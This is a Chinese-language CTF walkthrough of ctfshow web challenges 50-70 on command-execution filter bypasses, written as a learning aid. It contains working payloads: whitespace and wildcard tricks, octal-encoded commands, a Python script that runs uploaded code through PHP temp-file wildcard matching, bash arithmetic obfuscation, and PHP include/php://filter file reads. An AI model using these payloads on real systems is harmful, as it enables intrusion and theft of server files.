CTF WEB入门 命令执行篇 50-70
对应ctfshowWEB入门 web50-70。 其他部分在其他两篇文章
目录
web50
web51
web52
web53
web54
web55
web56
web57
web58
web59
web60
web61
web62
web63
web64
web65
web66
web67
web68
web69
web70
总结
web50

多过滤了Tab符和&符,可以使用<绕过(%0a不行)。
另外发现这里的?通配符也使用不了,那使用''或""或\分割绕过

web51

多了tac被过滤,跟上题一样,可以使用分割进行绕过

web52

多了<和>号被过滤,但是发现$没有被过滤,那可以使用${IFS}过滤

发现flag不在这个文件,查看一下根目录有什么文件

有一个flag文件,查看

web53

这里直接传入c并执行回显结果了。过滤的规则没有变,那我们还是一样,就是不用||符号去分隔了。

web54

这里的规则为解释,*c.*a.*t.*指过滤包含字母c、a、t按顺序出现的任何字符串。也就是说不能使用\等方式绕过。但是?和$还是可以用的,就是需要绕过如何查看文件内容的命令。
这题可以对查看文件内容做一个命令总结
被过滤的命令行
- cat,最基础的文件读取命令
- more,分页显示文件内容
- less,分页显示文件,比more高级多一些功能
- head,显示文件前几行,默认显示前10行
- tail,显示文件的最后几行,默认显示后10行
- sort,对文件内容进行排序,会读取并显示整个文件
- sed,对文件进行文本转换与编辑
- cut,从每行中提取部分内容。例如cut -d: -f1 filename,以冒号分隔取出第一列。
- tac,反向cat
- awk,文本分析和处理工具。例如awk '{print $1}' filename,打印第一行
- strings,从二进制文件中提取可打印字符串
- od,选择格式显示文件
- nl,显示文件内容并添加行号,也是一个通用的命令
- curl,通过URL传输数据,可读取远程文件
- wget,从网络下载文件
- scp,在主机间复制文件,基于ssh需要认证
- rm,删除文件或目录
那看到最后一个rm,可以联想到它一系列的兄弟,可以进行绕过
- cp,复制文件,可以指定名称
- mv,移动文件,可以指定新名称
- vi,编辑文件
除了上面两个命令之外,还可以
- grep,查找关键行
- rev,显示全部内容,但字符顺序反转
- uniq,去重文件内容并显示完整内容
?c=cp${IFS}f???.php${IFS}a.txt

?c=uniq${IFS}f???.php

?c=grep${IFS}'fla'${IFS}fla?.php

?c=rev${IFS}fla?.php

web55

过滤了字母,没过滤数字,以及过滤少许关键字符,没有过滤$。这里主要考察的是无字母执行shell
1. 可以利用/bin目录。/bin目录存储的都是一些系统的默认命令,例如cat、cp、more、ls、base64等。这里的数字没有被过滤,可以使用base64来匹配,其他字母使用通配符来替换
/bin/base64 flag.php/???/????64 ????.???


2. 数字没有被过滤,那么还可以想到使用数字编码来进行绕过
一般支持转义的环境中,传入八进制或十六进制都会被解析成对应的ASCII字符。比如php、python等都会自动解析,以及JavaScript也会解析。
但是如果后端进行了处理,比如使用单引号进行接受,那么就不会进行转义,会直接输出字符串。例如PHP
$c = '\x61';就会直接输出\x61;

能够看到八进制编码都是全部数字(十六不行)
需要做一些处理,payload如下
?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'

web56

把字母和数字都过滤了。
原本想使用web41的位运算解决方法,但关键这里过滤了%号,web41利用的脚本%号是非常关键第一部分。
看了wp,解题的关键是要知道一个原理:
php处理文件上传时,会先将文件保存到临时目录(通常是/tmp),生成一个临时文件,命名通常为php前缀+6个随机字符。扩展一下,php支持文件上传的条件为php.ini的配置
file_uploads = On。对于数字和字母都被过滤,可以使用ASCII码范围匹配。
所以这里利用的是文件上传结合特殊字符匹配的方式进行绕过,payload如下:
import requestsurl='http://2e167f74-a8a6-463e-98e5-f88651984c4d.challenge.ctf.show/'
payload='?c=.%20/???/????????[@-[]' #%20是空格url编码,可以进行绕过
command=input("please input your command:")file={"file":f"#!/bin/sh\n{command}"} r=requests.post(url=url+payload,files=file).text
print(r)
- .(英文的句号),等效于source命令,即在linux系统中‘.脚本文件‘表示执行该脚本。
/???/????????[@-[]是关键的通配符路径匹配,用于匹配上面所说的php生成的临时文件,格式相对应。[@-[]使用ASCII范围匹配,@到[之间的字符包含数字和字母,可以绕过过滤规则。具体来说整条命令的作用就是匹配临时文件并执行它。- file= ...构造一个文件上传的POST请求
- #!/bin/bash:这是在指定脚本解释器为bash,用于命令执行
- 最后在发送一条同时发送GET参数和上传文件的请求
整体的流程就是输入你需要执行的命令然后发送请求生成一个文件,而这个文件内容就是执行你想要执行的命令,生成文件会在tmp下生成一个临时文件,在请求生成文件的同时传入c参数,而这个参数的作用是去执行这个临时文件,那么最后就可以实现任意执行命令。

ps出现了很多过滤规则下的解决方法,多去思考总结为什么这种情形会使用这种方法。对于这个方法为什么不能用于web41,那可以看到web41过滤了[],这是此题匹配的核心。并且web41是eval,不适配使用通配符。
web57

这里提示flag在36.php,但是这里同样过滤了数字,访问$c.php。我们要获得36这个数字
知道关键原理:
Bash算术:
$((...))是bash的算术扩展,用于执行整数运算,表达式的结果会被解析为数字。例如$((1+1))结果为2.
- $(()) = 0。当扩展式中没有任何表达式时,默认值为0.
- $((~ $(()) )) = -1。对0作取反运算,结果为1。取反运算根据二进制来运算的,0的二进制补码是00000000 00000000 00000000 00000000(假设32位),那么位取反就是将所有0变为1,变成11111111 11111111 11111111 11111111,在计算机中表示-1。
- $(($( (~$(()))) $((~$(())) )) = -2。也就是$((-1 -1))在bash中两个数字直接拼接会解析为减法,也就是-1-1=-2。
- $((~$(( $((~$(()))) $((~$(())) )))) = 1。根据上面的方法对-2取反得到1。
根据原理可以进一步分析,需要得到-37,然后再进行取反得到36。
get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))" # -1
payload = get_reverse_number.format(negative_one*37) #生成37个-1
print(payload)

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

这里有点不一样,c是POST参数。
使用BurpSuite修改数据包,需要修改请求方法POST,以及添加设置正确的请求头Content-Type: application/x-www-form-urlencoded(表单提交默认格式),告诉服务器参数是键对值传入key=value。
当然,也可以直接使用hackbar工具进行POST参数传入。
传入system执行,发现被限制,其他执行函数也一样

这里system不能执行使用ls命令,那我们可以使用scandir去扫描,获取目录有哪些文件(虽然默认都是flag.php),更重要的是学会解题的思路。

前面web40有讲过highlight_file和show_source这两个函数能够显示源码。

这里还可以使用之前说过的,copy、rename等文件操作的方法,将flag.php变成flag.txt,即可直接访问。
web59

一样的,使用BurpSuite测试,跟web58一样。


web60

连着三题一样。。。


web61
一样,不多说。
web62
一样
ctfshow{c3769528-43fe-4b02-aa99-c991d5108146}
web63
一样
web64
一样
web65
一样,再学一种解法吧。跟之前的GET请求一样,可以通过include构造多个POST参数,就是连接符号是&不一样。
为什么可以通过include进行绕过?
include是文件包含函数,作用是把指定路径的内容读取出来并当作脚本进行代码执行。如果包含参数可控,攻击者可以传入不真实的文件路径,而是新构造一个伪路径,比如构造的新参数,只要include能够解析这个伪路径,都能够执行其中的代码。

web66

查看当前目录下的flag.php,显示不在这里

那依然使用scandir查看目录下文件,可以一步步往上找,直到找到一个flag.txt可疑文件

查看flag.txt文件,得到flag。注意scandir返回的是当前文件所在目录的文件,所以使用highlight_file查看时需要再往前一个目录

web67
一样,print_r被禁用使用var_dump
web68
这边使用print_r打印目录,发现print_r函数被禁用

那么可以使用var_dump,同样也是常用的打印信息的函数。

这里的highligh_file函数以及show_source都被禁用。可以使用include包含绕过


web69

首先我们需获取路径下的文件,经过测试,这里的print_r和var_dump被过滤

那我们需要找到可以打印scandir的数组,(echo只能输出字符串,而这里是数组)经过查阅
- var_export,同var_dump类似,都是以索引和值的形式输出数组
- implode,用指定分隔符拼接数组元素,并输出字符串,默认是以逗号分隔
- json_encode,以JSON格式输出数组,同样是字符串
c=var_export(scandir('/'));

c=echo(implode('---',scandir('/')));

c=echo(json_encode(scandir('/')));

现在需要获取flag.txt文件,同样的这里highlight_file和show_source被禁用,可以使用include绕过。
c=include($_POST['a']);&a=php://filter/convert.base64-encode/resource=../../../../flag.txt

也可以使用其他函数
- readgzfile,读取文件并输出文件内容,对压缩文件也可以,会自动解压。readfile是针对非压缩文件,这里被禁用。
- file_get_contents,读取文件内容为字符串,需要配合echo输出。(这里被禁用)
- parse_ini_file,用于专门读取php的ini文件,普通文件也可以读取。(这里被禁用)
- 也可以利用上面的implode配合输出,将文件内容转换为数组然后implode输出
- file,读取文件内容为 “每行一个元素的数组”。(这里被禁用)
- gzfile,读取 gzip 压缩文件或普通文件,返回每行一个元素的数组。
c=readgzfile('/flag.txt');

c=echo implode('', gzfile('/flag.txt'));

web70
一样的。
总结
- 这里总结对查看文件内容做了一个总结,要熟悉,以便以后碰到可以快速反应绕过。特别注意的是可以通过rm、mv、cp等对文件的操作去过滤对文件名的过滤。以及rev等函数的使用。
- 过滤了字母,没有过滤数字,可以使用数字编码(八进制)来进行绕过
- 过滤了字母和数字,并且过滤了关键的%号,其system参数,用到了文件上传结合特殊字符匹配的方法。php上传文件会有临时保存文件路径,可以使用?来匹配出来;字母和数字可以用ASCII区间[@-[]。
- Bash的算术运算,$(()) = 0和$((~ $(()) )) = -1,用来获得想要的数字。
- POST参数的绕过跟GET的区别。获取当前目录下的文件scandir,或者
glob("/flag.*")匹配。输出数组的函数print_r、vardump、implode和json_encode配合echo使用;输出文件内容的函数highlight_file、show_source、readgzfile、gzfile配合implode和echo使用。
